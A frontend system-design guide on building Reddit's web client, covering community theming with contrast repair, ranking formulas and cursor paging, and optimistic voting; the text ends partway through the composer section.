cf.completefrontend
My progress
SYSTEM DESIGN · #81

Design Reddit

The web client of a network of communities: subreddit pages with their own look, rules, and flairs, ranked listings with sorts like hot and top, three-state voting at huge scale, a composer for many post types, safe user markdown, and post pages that search engines send millions of signed-out readers to. The hard parts are letting thousands of communities theme their pages without breaking readability, paging through rankings that move while you read, and serving one post URL to a crawler, a guest, a member, and a moderator.

The question

Design the web client for Reddit. People join communities called subreddits, like r/cooking or r/webdev. Each community has its own banner, colors, rules, post flairs, and sidebar. Members submit text, link, image, video, and poll posts, vote them up or down, and browse listings sorted by hot, new, top, rising, or controversial.

A large share of readers arrive from a Google search, signed out, on a phone. Moderators remove posts and work through a queue. Walk me through the community page, how listings and voting work on the client, the post composer, how you render user markdown safely, and how a post page serves both search engines and signed-in members.

Real-life examples: Reddit, Hacker News, Lemmy, Stack Overflow, Discourse forums

Requirements: the questions that make Reddit its own problem

"Design Reddit" can sound like "design a feed with comments", but two big parts of it are already solved in other guides. The Comments thread guide covers the comment tree, "load more" stubs, sorting comments by a confidence score, optimistic replies, and permalinks. The News feed guide covers infinite listings, cursor paging, and keeping a long list fast. This guide links to those and spends its time on what only Reddit has.

What only Reddit has is the community as the unit of everything. A post lives in one subreddit, and the subreddit decides how the page looks, which rules apply, which flairs a post can carry, and who can moderate. Ranking is per community and changes by the minute. And a post page is two products at once: a fast public web page for the search visitor, and an app screen with voting and replying for the member.

So the first five minutes go to scope. Each answer below moves the design. The table shows what this guide assumes and what changes if the interviewer says something else.

QuestionAnswer we assumeWhat it changes
How big is it?Around 100 million daily active people, over 100,000 active communities, and millions of new posts and comments a day.Listings are computed on the server and cached. The client never ranks; it pages through a ranked list.
Where do readers come from?A large share of post views come from search engines and shared links, from people who are not signed in, on phones.Post pages must be complete server HTML, fast, cacheable at the edge, and indexable. Sign-in prompts must not block the content.
How much can a community customize?Icon, banner, a key color (Join button and links), a base color, a pinned-post color, separate dark-mode colors, post flairs, rules, and sidebar widgets. No custom CSS on the new site.A theming system with design tokens and contrast checks, not arbitrary stylesheets.
Which sorts?Hot (default), new, top with a time window (hour, day, week, month, year, all), rising, and controversial.Sort and window live in the URL. Paging uses cursors, and the client must remove duplicates because rankings shift.
Which post types?Text (markdown), link, image, gallery, video, and poll. Tags for NSFW and spoiler.A composer with a mode per type, uploads before submit, drafts, and blurred previews for tagged posts.
Voting?Up, down, or none on posts and comments, for signed-in members only.A three-state toggle with optimistic updates, rollback, and a displayed score that may be fuzzed by the server.
Moderation?Moderators remove and approve content, work a mod queue, edit flairs, and see automated filter results.Per-community permissions sent to the client, extra controls rendered only for moderators, and removal reasons.
Devices and networks?Mostly mobile web and the app; desktop for power users and moderators. Many slow networks.Small JavaScript on first load, server-rendered first paint, images and videos sized per device.

Functional requirements

  • Show a community page at /r/name: banner, icon, name, member count, join button, a ranked listing of posts, and a sidebar with rules, flairs, and widgets, all in the community's colors.
  • Show listings sorted by hot, new, top (with a time window), rising, or controversial, with the choice kept in the URL, and keep loading more as the reader scrolls.
  • Let signed-in members upvote, downvote, or clear a vote on any post or comment, with the score and arrow changing at once.
  • Let members submit text, link, image, gallery, video, and poll posts, pick a flair, mark NSFW or spoiler, and keep a draft if they leave.
  • Render post and comment markdown, including Reddit extras like spoilers and superscript, safely.
  • Serve each post page at a stable URL with a readable slug, as full HTML for crawlers and guests, with the comment thread below it.
  • Give moderators remove, approve, lock, and flair controls on posts and comments, a mod queue, and removal reasons the author can see.

Non-functional requirements

  • Fast first view for guests: Largest Contentful Paint (the moment the biggest element, usually the post title or image, is drawn) under 2.5 seconds on a mid-range phone on 4G, which is Google's "good" threshold.
  • Responsive voting: the arrow and score react within one frame (16 ms) of the tap. The network call can take 300 ms or fail; the reader should not wait for it.
  • Readable in every community: no community color choice can make text or buttons unreadable. Text keeps a contrast ratio of at least 4.5 to 1, the WCAG AA level.
  • Safe: user markdown and community settings can never run script in another reader's browser.
  • Stable lists: paging never shows the same post twice and never jumps the page under the reader's finger.
  • Accessible: every control works by keyboard, vote state is announced to screen readers, and autoplay respects reduced motion.

Out of scope, and why

  • The comment tree itself: the Comments thread guide covers it in depth. We only show where it plugs into the post page.
  • Chat and direct messages: the Chat app guide covers them.
  • Ranking and spam detection on the server: we treat the listing API as a black box that returns ranked pages, but we explain the formulas because they shape client behavior.
  • Native apps, ads, and payments for awards: they don't change the web client design much.

Check your understanding · Exercise 1

Which answers from the interviewer would change the design the most? Select all that apply.

What makes Reddit hard

Before drawing boxes, name the forces. Every later decision traces back to one of these five.

1. Thousands of owners for one page template

Reddit's engineers own the code, but over 100,000 communities own the content and part of the look. A moderator of r/halloween picks black and orange; a moderator of r/aww picks pale pink. The same PostCard component must stay readable on both, with no engineer in the loop. That means the theming system has to check and repair inputs, not just apply them.

2. Rankings that move while you read

The hot listing of a busy community is re-ranked every few minutes as votes arrive. A reader who loads page 1 at 10:00 and scrolls to page 2 at 10:04 is asking for "the next 25 after the post I last saw" in a list that has already shuffled. Some posts will have moved down past the cursor and come back; some will have moved up and be skipped. The client has to handle that gracefully instead of pretending the list is frozen.

3. Votes are tiny, frequent, and adversarial

A vote is the most common write on the site. It must feel instant, so the client updates first and asks the server second. But votes are also what spammers and vote manipulators attack, so the server hides exact counts and may reject or quietly ignore votes. The client shows a number it does not fully control, and must never make it flicker or jump backwards in a way that looks broken.

4. Almost every byte is untrusted input

Post titles, bodies, comment markdown, flair text, rule text, sidebar widgets, link previews, image files, and community colors all come from users. Any of them can try to inject script, break layout, or hide content. The client renders all of it, so it has to treat every field as hostile until it is escaped, sanitized, or validated.

5. One URL, two audiences

A post URL like /r/cooking/comments/1abc2d/how_do_i_fix_split_hollandaise/ is a search landing page for a signed-out stranger and an interactive screen for a member who wants to vote and reply. The first audience needs fast, cacheable HTML with no personal data. The second needs their vote state, their join state, and moderator tools. Serving both from one URL without slowing either is the core rendering problem.

ForceWhere it shows up in this guide
Many ownersCommunity theming with tokens and contrast repair; rules, flairs, and widgets as data, not code.
Moving rankingsCursor paging with fullnames, duplicate removal, and sort plus time window in the URL.
Adversarial votesThree-state optimistic voting, server-side fuzzing, rate limits, and no flicker.
Untrusted inputMarkdown rendered to a safe tree, server-side link unfurling, upload validation, CSP.
Two audiencesServer-rendered post pages cached at the edge, member state filled in on the client, islands for the interactive parts.

Think first

Reddit has both a comment tree and a post listing. Which one is harder to cache at the CDN for signed-out readers, and why?

Communities as the core unit

On most social sites the person is the center: you follow people, and your feed is theirs. On Reddit the community is the center: a subreddit is a named space with its own members, moderators, rules, flairs, look, and ranked listing. Even the home feed is mostly a merge of the communities you joined. So the first design question is: what is a community, as data the client receives?

The parts of a community page

Wireframe of the r/cooking community page. At the top, a banner in the community's colors, then the name r/cooking with a Join button and 2.1M members. Below, a sort bar with Hot selected, New, Top: week, and Rising. On the left, a listing of three post cards, each with a vote column showing a score and a title with a flair. On the right, a sidebar with the about text, five rules, post flairs, and widgets.reddit.com/r/cookingbanner, in the community colorsr/cookingJoin2.1M membersHotNewTop: weekRising812Split hollandaise? [Help]4.1kSourdough crumb [Photo]97Wok hei at home [Video]listing: cursor pagingAboutRules: 1 to 5Flairs: Help, PhotoWidgets: linksModeratorssidebar
Everything a moderator customizes (colors, banner, rules, flairs, widgets) arrives as typed data. Everything Reddit owns (the card, the vote column, the sort bar) stays the same code in every community.
  • Header: banner image, round icon, display name like r/cooking, member count, "online now" count, and a Join button. It wears the community's colors.
  • Sort bar: Hot, New, Top (with a time window menu), Rising, and a view toggle (card or compact). It writes to the URL.
  • Listing: post cards. Each card shows a vote column, the title, a flair chip, tags like NSFW or spoiler, a preview (text snippet, image, video, link card, or poll), and a comment count.
  • Sidebar: a description, the rules as a numbered list that can expand, post flairs to filter by, moderator list, and custom widgets (a list of related communities, a calendar, a button bar, an image).
  • Moderator bar, only for moderators: a mod queue count, links to mod tools, and per-post actions on each card.

Settings as data, not code

Everything the moderators customize must arrive as plain, typed data that our components render. A moderator never ships code to our page. This one rule is what lets 100,000 communities customize without each one becoming a security or support problem. The community object the client gets looks like this:

ts
type Community = {
  id: string;              // fullname, like "t5_2qh1e"
  name: string;            // "cooking", the URL key
  title: string;           // "Cooking: recipes and help"
  icon: ImageRef | null;
  banner: ImageRef | null;
  theme: { key: string; base: string; pinned?: string; dark?: { key: string; base: string } }; // raw hex, unchecked
  subscribers: number;
  over18: boolean;
  submitTypes: ("text" | "link" | "image" | "video" | "poll")[];
  rules: { short: string; description: string; kind: "post" | "comment" | "all" }[];
  postFlairs: Flair[];     // the flairs a poster can pick
  widgets: Widget[];       // typed sidebar widgets
  viewer: { joined: boolean; isMod: boolean; modPerms: ModPerm[] }; // per viewer
};
type Flair = { id: string; text: string; bg: string; textColor: "dark" | "light"; modOnly: boolean };
type Widget =
  | { kind: "text"; title: string; markdown: string }
  | { kind: "community-list"; title: string; names: string[] }
  | { kind: "button-bar"; buttons: { label: string; url: string }[] }
  | { kind: "image"; image: ImageRef; linkUrl?: string };

Notice three things. First, viewer is the only per-person part. Everything else is the same for every reader, so the server can cache it and the CDN can serve it to guests, which is why the API splits a public community document from a small viewer document.

Second, widgets are a closed set of kinds: a new kind means new code from Reddit's engineers, reviewed and tested, never moderator-supplied markup. Third, the flair has textColor: "dark" | "light" instead of any color: a small, safe choice, which we come back to in the theming chapter.

Rules and flairs on the client

Rules show in three places: the sidebar, the composer (so posters read them before submitting), and the removal message ("Removed: Rule 3, no memes"). Keeping them as one list with stable indexes lets every place refer to "rule 3" the same way. Flairs show on post cards, in the composer's flair picker, and as filters in the sidebar. Clicking a flair filter opens a search listing for that flair in that community, so the filter goes in the URL like any other listing choice.

Some communities require a flair before you can post, and some flairs are mod-only ("Solved", "Official"). The composer reads postFlairs and filters out modOnly ones for regular members. The server still checks: the client filter is a convenience, not security.

How the page loads

Decision How should a community page get its data on first load?

Client-only: empty shell, then fetch

Serve a static HTML shell and a JavaScript bundle.

The bundle fetches the community, the listing, and the viewer state, then renders.

Pros

  • Simple to build and deploy.
  • The shell caches forever on the CDN.

Cons

  • Three round trips before anything useful shows: often 2 to 4 seconds on a phone.
  • Crawlers see an empty page until scripts run, and many link-preview bots never run them.
  • Theme colors arrive late, so the page flashes in default colors first.

Server-rendered page with public data, viewer state fetched after

The server renders header, theme, sidebar, and first listing page into HTML.

The CDN caches that HTML for guests for a short time.

The client then fetches the small viewer document (joined, votes, mod rights) and fills it in.

Pros

  • First paint has real content and the right colors.
  • Guests and crawlers get the same cacheable HTML.
  • Viewer data is tiny and never leaks into shared cache.

Cons

  • A member sees their own vote arrows fill in a moment after paint.
  • Two code paths: server render and client update.

Server-rendered per viewer, no CDN caching

The server renders everything, including the viewer's votes and join state, on every request.

Pros

  • Everything correct on first paint for members.

Cons

  • No shared caching at all: each request hits the render servers.
  • Guest traffic from search is the largest share and would be the most expensive to serve.

What we pick: Server-render the public parts, cache them for guests at the edge, and fill in viewer state on the client. For signed-in members the server can also inline viewer state into the HTML when it renders without the shared cache, so their arrows are correct at first paint. The SSR lesson covers the general trade-off; the islands chapter later shows which parts need JavaScript at all.

Check your understanding · Exercise 2

A moderator wants a sidebar widget that shows a live countdown to their community's next event. How should the platform support it? Select all that apply.

Community theming: tokens, custom properties, and contrast repair

A community's look is part of its identity. The question is how much power to give moderators. Reddit has tried both ends, which makes it a great interview story.

The old way: a stylesheet per community

On old Reddit (still at old.reddit.com), each community has a stylesheet that its moderators write by hand, and some communities built remarkable designs with it. But a stylesheet can do anything CSS can do: hide the downvote arrow, hide the report button, push the rules off screen, set gray text on a gray background, or break the layout on phones.

Old Reddit also had to filter what the CSS could load: images had to be uploaded to the community instead of pulled from any URL. The reason is that CSS can leak data. An attribute selector plus a background-image URL can tell an outside server what is on the page.

The biggest cost is less obvious. Every community stylesheet targets the site's class names and DOM structure. Once thousands of communities depend on .thing .midcol .arrow.down, the platform team cannot rename a class or restructure a card without breaking them: the custom CSS has become a frozen public API. Reddit's redesign did not carry custom CSS forward and offers a fixed set of appearance settings instead.

The options

Decision How should communities customize their look?

Arbitrary custom CSS

Moderators upload a stylesheet; the server sanitizes it and serves it on community pages.

Pros

  • Maximum creative freedom.
  • No engineering work for new looks.

Cons

  • Can hide controls, break readability, and harm accessibility.
  • Freezes the DOM and class names as an API.
  • Sanitizing CSS is hard: url(), @import, and selectors that leak data all need rules.
  • Every page view downloads and applies an extra stylesheet.

Design tokens with validation

Moderators pick a few values: key color, base color, pinned-post color, banner, icon, and their dark-mode versions.

The platform maps them to CSS custom properties that its components read.

A check repairs any value that would break contrast.

Pros

  • Components stay ours: we can redesign freely.
  • Readability is guaranteed by code.
  • Tiny payload: a few properties inlined into the HTML.

Cons

  • Less freedom: no custom fonts, layouts, or animations.
  • Moderators may be surprised when a color is adjusted.

Preset palettes only

Moderators pick from 20 to 30 designer-made themes.

Pros

  • Every theme is pre-tested in light and dark mode.
  • Zero validation logic.

Cons

  • Communities lose a key part of their identity: r/halloween can't be exactly its orange.

What we pick: Design tokens with validation. It keeps most of the identity (any key and base color, any banner) while the platform keeps control of structure, controls, and readability. This is close to what Reddit's current site offers moderators. Offer presets as a starting point in the settings UI.

From a moderator's color to CSS custom properties

The theming pipeline in six steps. A moderator picks a base color, #FFD635. The server validates it as a strict hex value. It derives tokens and repairs contrast for light and dark mode. The derived tokens are stored with the community. The page server inlines them as CSS custom properties on the page root. Components read them with the var() function.Moderatorbase #FFD635Validatestrict hex onlyDerive, repairlight and darkTokenssaved with communityPage serverinline on rootComponentsread with var()4.5 and 3 to 1 checksbutton text: near-blacklink: darkened yellow
Components never see the raw choice, only checked tokens like --community-button. Inlining them in the server HTML means the first paint already wears the right colors.

CSS custom properties (variables whose names start with two dashes, like --community-button) cascade: set them on the community page's root element and every component inside reads them with the var() function. Components never see the raw moderator values. They read derived tokens that the platform computed and checked: a background, a text color that reads on it, a button color, a link color, a focus ring color.

css
/* Written by the page server from the checked tokens, on the page root */
.community-root {
  --community-button: #ffd635;
  --community-on-button: #1a1a1b;
  --community-link: #806500;
  --community-focus: #a88500;
}
/* Our components read only the derived tokens */
.join-button {
  background: var(--community-button);
  color: var(--community-on-button);
}
.join-button:focus-visible { outline: 2px solid var(--community-focus); }
.post-body a { color: var(--community-link); }

The values above are what the repair below produces for a bright yellow on a white page: the button keeps the moderator's yellow with near-black text, and links and the focus ring use darker shades of the same hue. Here is the check itself:

ts
function luminance(hex: string): number {
  const [r, g, b] = [1, 3, 5].map((i) => {
    const c = parseInt(hex.slice(i, i + 2), 16) / 255;
    return c <= 0.04045 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4;
  });
  return 0.2126 * r + 0.7152 * g + 0.0722 * b;
}
function contrast(a: string, b: string): number {
  const [hi, lo] = [luminance(a), luminance(b)].sort((x, y) => y - x);
  return (hi + 0.05) / (lo + 0.05);
}
// Pick the readable text color for a filled surface.
const onColor = (bg: string) =>
  contrast(bg, "#FFFFFF") >= contrast(bg, "#1A1A1B") ? "#FFFFFF" : "#1A1A1B";

This is the WCAG contrast ratio. It runs from 1 (same color) to 21 (black on white). WCAG AA asks for 4.5 to 1 for normal text and 3 to 1 for large text (success criterion 1.4.3), and 3 to 1 for the edges of controls and focus rings (1.4.11, Non-text Contrast). The Visual accessibility lesson explains where the numbers come from, and real values show why a check is needed:

Community colorWhite text on itNear-black text on itWhat the platform does
Pale pink #FFC0CB1.5 to 1 (fails)11.3 to 1Uses dark text on pink buttons and the header.
Reddit orange #FF45003.4 to 1 (only large text)5.1 to 1Dark text on orange, or white text only at 18.66 px bold and up.
Classic blue #0079D34.49 to 1 (fails by 0.01)3.9 to 1 (fails)Neither passes: one repair step darkens it to #006DBF, where white text reaches 5.3 to 1.
Bright yellow #FFD6351.4 to 1 (fails)12.4 to 1Dark text; and as a link color on white it is unreadable, so links use a darkened shade.

The repair step is simple: if neither text color reaches 4.5, move the color toward black (or toward white in dark mode) in small steps of lightness until one does. Keep the hue, so r/halloween stays orange, just a deeper orange. The same applies to the key color, which Reddit uses for links: test it against the page background and darken until it reaches 4.5.

ts
function ensureReadable(bg: string, scheme: "light" | "dark"): string {
  let color = bg;
  for (let step = 0; step < 20; step++) {
    if (Math.max(contrast(color, "#FFFFFF"), contrast(color, "#1A1A1B")) >= 4.5) return color;
    color = shiftLightness(color, scheme === "light" ? -0.04 : 0.04); // HSL, keep hue
  }
  return scheme === "light" ? "#1A1A1B" : "#FFFFFF"; // last-resort fallback
}
Preset
Theming lab. Moderator color #0079D3, light mode, repair on. button text: #006DBF, 5.33 to 1, needs 4.5 to 1, pass. link on page: #006DBF, 5.33 to 1, needs 4.5 to 1, pass. focus ring: #0079D3, 4.49 to 1, needs 3 to 1, pass.moderator picked #0079D3, page background #FFFFFFtokencolor usedcontrast and verdictbutton text#006DBF +15.33 to 1 passlink on page#006DBF +15.33 to 1 passfocus ring#0079D34.49 to 1 passwhite textneed 4.5, 4.5, and 3 to 1button: #006DBFlink: #006DBF
Repair adjusted 2 tokens, keeping the hue. The settings UI would tell the moderator.

Where the check runs, and dark mode

  • In the settings UI, live: the moderator sees the preview and a note like "We darkened your button color so text stays readable". No surprise later.
  • On the server at save, as the real gate: store the raw choice and the derived tokens for both light and dark schemes.
  • In server rendering, inline the derived tokens as a style on the page root, so the first paint already has the right colors. Loading them with JavaScript would flash the default theme first.
  • Dark mode: a background color picked for a white page is often wrong on a dark one. Reddit lets moderators set dark-mode colors separately; when they don't, derive them. Either way, check a second set for prefers-color-scheme: dark and switch with a media query or a data-theme attribute; never reuse the light tokens.
  • Images: banners are user images, so text never sits on top of them without a solid or gradient scrim behind it.

Check your understanding · Exercise 3

A moderator sets the base color to #FFD635 (bright yellow). Which outcomes should the platform produce? Select all that apply.

Listings: hot, new, top, rising, controversial, and paging through a moving list

A listing is a ranked list of posts: one community's hot posts, the top posts of the week across all of Reddit, a user's submissions. The client never ranks; the server does. But the ranking rules decide how the list moves while someone reads it, and that decides how the client pages, caches, and removes duplicates. So we start with the formulas.

Hot: votes on a log scale, plus time

Reddit published its original ranking code when the site was open source. The hot sort lives in a file called _sorts.pyx. Reddit stopped updating that public code in 2017 and today's ranking may differ, but the formula is still the clearest way to understand the sort, and it is a classic interview topic:

ts
// Port of _hot() from Reddit's archived open-source code (r2/lib/db/_sorts.pyx)
function hot(ups: number, downs: number, createdSec: number): number {
  const s = ups - downs;
  const order = Math.log10(Math.max(Math.abs(s), 1));
  const sign = s > 0 ? 1 : s < 0 ? -1 : 0;
  const seconds = createdSec - 1134028003; // a fixed date in December 2005
  return Math.round((sign * order + seconds / 45000) * 1e7) / 1e7;
}

Read it in two halves. The vote part is a log: going from 10 to 100 net votes adds 1, and going from 100 to 1,000 also adds 1. The time part adds 1 for every 45,000 seconds, which is 12.5 hours. So a post 12.5 hours newer needs one tenth of the votes to rank the same: a post made at 08:00 with 1,000 net votes ties with one made at 20:30 with 100.

The surprising part: there is no "age" in the formula, only the creation time, so a post's hot score never goes down as time passes. Old posts sink because new posts arrive with bigger time values. The order between two existing posts changes only when their votes change, and new posts can enter anywhere near the top. Both of those move items across page boundaries while a reader scrolls.

The hot formula as a chart. The x axis is posting time, from 08:00 to 20:30, 12.5 hours apart. The y axis is the hot score. Post A, posted at 08:00 with 1,000 net votes, has the same hot score as post B, posted at 20:30 with 100. Post D, at 08:00 with 10,000, ties with post C, at 20:30 with 1,000. Each step up the y axis is ten times the votes.hot08:0020:3012.5 hours newer: +1, same as 10x the votesA 1,000D 10kB 100C 1,000same ranksame rankx10 votesno age decay
Score grows with the log of net votes and the creation time; it never shrinks with age. Older posts sink only because newer ones arrive with a bigger time term, so ranks shift as votes and new posts come in.

The other sorts

SortHow it ranksHow much it movesURL
HotLog of net votes plus creation time, as above.A lot on busy communities: votes and new posts every minute./r/cooking/ or /r/cooking/hot/
NewCreation time, newest first.Only grows at the top. Removals make small holes./r/cooking/new/
TopNet score, within a time window: hour, day, week, month, year, all.Hour and day move; year and all barely move./r/cooking/top/?t=week
RisingRecent posts gaining votes and comments fast. The exact rule is not public.Very fast: posts enter and leave within minutes to hours./r/cooking/rising/
ControversialMany votes, split close to even. In the old code: total votes raised to the power of the minority-to-majority ratio.Moderate./r/cooking/controversial/?t=day

The old controversy formula is worth one example. A post with 100 up and 90 down has 190 votes and a balance of 0.9, so its score is 190 to the power 0.9, about 112. A post with 1,000 up and 100 down has 1,100 votes but a balance of 0.1: about 2. Big and split beats big and one-sided.

Sort and time window belong in the URL

The sort and window are what the reader is looking at, so they go in the path and query string, as the URL-as-state lesson explains: shareable, bookmarkable, back-button friendly, and a natural cache key. Changing the sort is a navigation (history.pushState through the router), not a hidden state change. The window only applies to top and controversial, so the router drops t for the other sorts instead of carrying a meaningless ?t=week around.

The client's listing cache is keyed by the same parts: ["listing", "r/cooking", "top", "week"]. Switching from top-week to hot and back reuses the cached pages and scroll position instead of refetching, as long as they are recent, say under 2 minutes for hot and 10 minutes for top-week.

Paging with fullnames

Every Reddit object has a fullname: a type prefix plus a base-36 id. t1_ is a comment, t2_ an account, t3_ a post (called a link internally), t5_ a community. Listings page with after and before set to the fullname of the last or first item the client has, plus a limit (25 by default, at most 100). The response returns the next cursor:

http
GET /r/cooking/top.json?t=week&limit=25&after=t3_1abc2d

200 OK
{
  "kind": "Listing",
  "data": {
    "after": "t3_1abd9x",        // pass this to get the next page; null at the end
    "before": null,
    "children": [ { "kind": "t3", "data": { "name": "t3_1abc7q", "title": "...", "score": 812 } } ]
  }
}

Decision How should the client page through a ranked list that moves?

Offset paging (?page=3 or ?offset=50)

Ask for items 50 to 74 of the list as it is right now.

Pros

  • Simple. Can jump to page 7.

Cons

  • If 3 posts rose above, items 47 to 49 slide into the new page: the reader sees them twice.
  • If 3 were removed, 3 posts are skipped silently.
  • Deep offsets are slow for the database.

Cursor by fullname (after=t3_x)

Ask for the items ranked after the last one the client has, wherever it is now.

Pros

  • Anchored to an item, not a position: inserts above it don't shift the page.
  • Cheap on the server.

Cons

  • If the cursor post itself moved, the next page starts from its new place: some duplicates, some skips.
  • If the cursor post was removed, the server may return an empty page.

Server snapshot per session

On first load, the server freezes the ranked ids for this reader and pages through that frozen list.

Pros

  • No duplicates or skips at all.

Cons

  • Stores a list per reading session: costly at Reddit's scale.
  • The reader sees stale ranks until they refresh.

What we pick: Cursor by fullname, plus client-side dedupe. It is what Reddit's API does, it is cheap, and the remaining glitches (a few duplicates or skips when the cursor post moves) are easy to fix on the client. Snapshots are a fine choice for a personalized home feed with a few thousand candidates, not for every community listing.

Sort
Listing lab at minute 0, URL /r/cooking/hot/. Left: the server's ranking now, t3_h8, t3_d4, t3_i9, t3_f6, t3_b2, t3_a1, t3_g7, t3_c3, t3_e5, t3_j0, t3_k1, t3_l2. Right: the 4 rows in the reader's list, t3_h8, t3_d4, t3_i9, t3_f6. Next cursor t3_f6. Duplicates dropped: 0.server ranking at minute 0the reader's listt3_h8 Wok hei 9000t3_d4 Sourdough 4000t3_i9 Brown butter 7000t3_f6 Pasta water 2100t3_b2 Cast iron 1500t3_a1 Hollandaise 820t3_g7 Egg timing 600t3_c3 Knife skills 300t3_e5 Ramen broth 90t3_j0 Pickles 12000t3_k1 Stock 20000t3_l2 Tomatoes 30000t3_h8 Wok heit3_d4 Sourdought3_i9 Brown buttert3_f6 Pasta waterdropped duplicates: 0
Page 1 is loaded. Let 5 minutes pass, then load the next page.

Removing duplicates, and other edge cases

ts
function appendPage(state: ListingState, page: ListingPage): ListingState {
  const seen = new Set(state.ids);
  const fresh = page.children.map((c) => c.data.name).filter((id) => !seen.has(id));
  return {
    ids: [...state.ids, ...fresh],
    after: page.after,
    done: page.after === null,
    droppedDupes: state.droppedDupes + page.children.length - fresh.length,
  };
}
  • Duplicates: the Set check above. Count the dropped ones in telemetry: a spike means the cursor logic or caching is broken.
  • A page that is all duplicates: fetch again with the new after right away, up to 2 times, so the reader doesn't hit an empty gap.
  • Cursor post removed: if a page comes back empty but after was not null, retry with the fullname of the item before the cursor.
  • Skipped posts (rose above the cursor): accept it. When the reader returns to the top, a "New posts" pill offers a fresh listing.
  • The end: listings are capped at around 1,000 items deep. When after is null, show an end marker, not a spinner.
  • Keys: React keys and DOM ids use the fullname, never the array index, so a dropped duplicate never makes a card re-mount with another post's state.

Check your understanding · Exercise 4

A reader loads page 1 of r/cooking hot, waits 5 minutes, then scrolls to page 2. Which statements are true? Select all that apply.

Voting at scale: three states, optimistic, and a score you don't fully control

Voting is the most frequent write on Reddit, so it must feel instant. The Poll widget and Comments thread guides already cover optimistic writes with rollback. Here we add what is special about Reddit's votes: three states per item, fast repeated taps, a displayed score the server deliberately blurs, and anti-abuse limits that can reject a vote.

Three states, six transitions

Each viewer has one vote per post: up (1), none (0), or down (-1). The two arrows are toggles. Tapping the arrow that is already on clears it; tapping the other arrow switches. The score change depends on where you start:

FromTapToScore change
noneupup+1
nonedowndown-1
upupnone-1
updowndown-2
downupup+2
downdownnone+1
The vote state machine with three states: up, none, and down. From none, tap up goes to up with plus 1, and tap down goes to down with minus 1. From up, tap up goes back to none with minus 1, and tap down goes to down with minus 2. From down, tap down goes back to none with plus 1, and tap up goes to up with plus 2.upnonedowntap up, +1tap down, -1tap up, -1tap down, +1tap down from up, -2tap up from down, +2
Every transition is fully described by the final state, which is why the client sends dir as 1, 0, or -1 instead of an action like "toggle". Sending the same value twice changes nothing.

How the client sends votes

Decision How should a tap on an arrow reach the server?

Pessimistic: wait for the server

Disable the arrows, send the vote, update the arrow and score from the reply.

Pros

  • The UI never shows something the server didn't accept.

Cons

  • 300 ms or more of nothing after each tap on mobile networks. Voting feels broken.
  • Fast scrolling voters tap many posts per second.

Optimistic toggle endpoint

Update the UI at once, then POST /upvote which flips the vote on the server.

Pros

  • Instant feedback.

Cons

  • Not idempotent: a retried request flips the vote back.
  • Two quick taps can arrive in either order and leave the server in the wrong state.

Optimistic, send the final state, one request in flight

Update the UI at once.

Send the desired final value: dir of 1, 0, or -1. Reddit's own API works this way.

While a request is in flight, record only the latest wanted value; send it when the first one returns, if it differs.

Pros

  • Instant feedback.
  • Idempotent: retries are safe.
  • Ten frantic taps become at most two requests, and the last tap always wins.

Cons

  • Needs a small per-item queue and rollback logic.

What we pick: Optimistic, final-state, one request in flight per item. The idempotent value makes retries safe, and the coalescing keeps a nervous tapper from sending ten requests or racing their own votes.

ts
type Dir = 1 | 0 | -1;
type VoteSlot = { confirmed: Dir; wanted: Dir; inFlight: boolean };

async function flush(id: string, slot: VoteSlot, store: Store): Promise<void> {
  if (slot.inFlight || slot.wanted === slot.confirmed) return;
  slot.inFlight = true;
  const dir = slot.wanted;
  try {
    await api.vote(id, dir);        // POST /api/vote  id=t3_x  dir=1|0|-1
    slot.confirmed = dir;
  } catch (err) {
    slot.wanted = slot.confirmed;   // roll back to the last value the server accepted
    store.setVote(id, slot.confirmed);
    toast(isRateLimited(err) ? "You're voting too fast. Try again in a moment." : "Vote failed.");
  } finally {
    slot.inFlight = false;
  }
  if (slot.wanted !== slot.confirmed) void flush(id, slot, store); // taps that came in meanwhile
}
Sequence diagram of two votes between the reader, the vote island, the vote queue, and the API. First, the reader taps up; the island sets wanted to 1 and repaints at once; the queue sends POST vote with dir 1; the API replies 204 and the queue marks it confirmed. Then the reader taps down; the island sets wanted to minus 1 and repaints; the queue sends dir minus 1; the API replies 429 with Retry-After; the queue rolls back to 1 and the island shows a short message.ReaderVote islandVote queueAPItap upwanted=1dir=1204tap downwanted=-1dir=-1429roll back to 1
The repaint happens before any network call, so the tap feels instant. On 429 the client rolls back to the last confirmed value and does not retry in a loop.

Displayed scores are fuzzed

Reddit's own FAQ has long said that the vote numbers it shows are "fuzzed" to stop spam bots: the server changes them slightly, so they are not the real counts. A bot that can see its vote land can tune itself until it stops getting caught, and a blurred number takes that signal away. The exact method is not public. Communities can also hide new comment scores for up to 24 hours (a moderator setting from 0 to 1,440 minutes), so early votes don't snowball.

This changes the client in three ways:

  • Never do arithmetic across server values. If page 1 said 812 and a refetch says 809, that is not "3 people downvoted". Just show the newest server value.
  • Show the server score plus my unconfirmed change. Keep the score the server sent and the vote that score already included (serverVote). Display serverScore - serverVote + myVote. When a fresh server value arrives with my vote counted, it replaces both, and there is no double counting.
  • Don't animate fuzz. A number that ticks up and down on every refetch looks broken. Animate only the change from the viewer's own tap. Update other score changes quietly, and round big numbers ("12.4k") so small fuzz is invisible.

Rate limits, signed-out taps, and many copies of one post

  • Rate limits: the server answers 429 Too Many Requests, often with a Retry-After header. Roll back the arrow and show a short message. Do not retry in a loop: that is exactly the traffic the limit exists to stop.
  • Silent ignores: votes from suspicious accounts may be accepted with 200 and then not counted. The client cannot know, and should not try to.
  • Signed-out taps: open the sign-in sheet and remember the intent ({ id: "t3_1abc2d", dir: 1 }). After sign-in, apply it once. The page behind the sheet must stay readable.
  • One post, many places: the same post can be on the listing, the post page, and a cross-post card. Store votes in a normalized store keyed by fullname, so one tap updates every view. The News feed guide covers the normalized cache.
  • Karma: a user's karma is a server number, shown as sent. Never recompute it on the client from votes; that is how negative flickers happen.

Check your understanding · Exercise 5

A member with no vote taps up, down, up on one post within 250 ms. The first request takes 300 ms. With the final-state, one-in-flight design, what happens? Select all that apply.

The composer: post types, uploads, link previews, drafts, flairs, and tags

The composer is a small app of its own. It has one tab per post type, and the community decides which tabs exist: r/AskReddit allows only text questions, r/pics only images. It reads the community's submitTypes, rules, and flairs, which we already have from the community document.

TypeWhat the member givesWhat the client doesWhat the server does
TextTitle (up to 300 characters) and a markdown body (up to 40,000).Editor with preview, character counters, draft autosave.Stores markdown, renders it safely (next chapter).
LinkTitle and a URL.Validates the URL, asks the server for a preview, warns if it was already posted here.Fetches the page, reads its Open Graph tags, re-hosts the thumbnail.
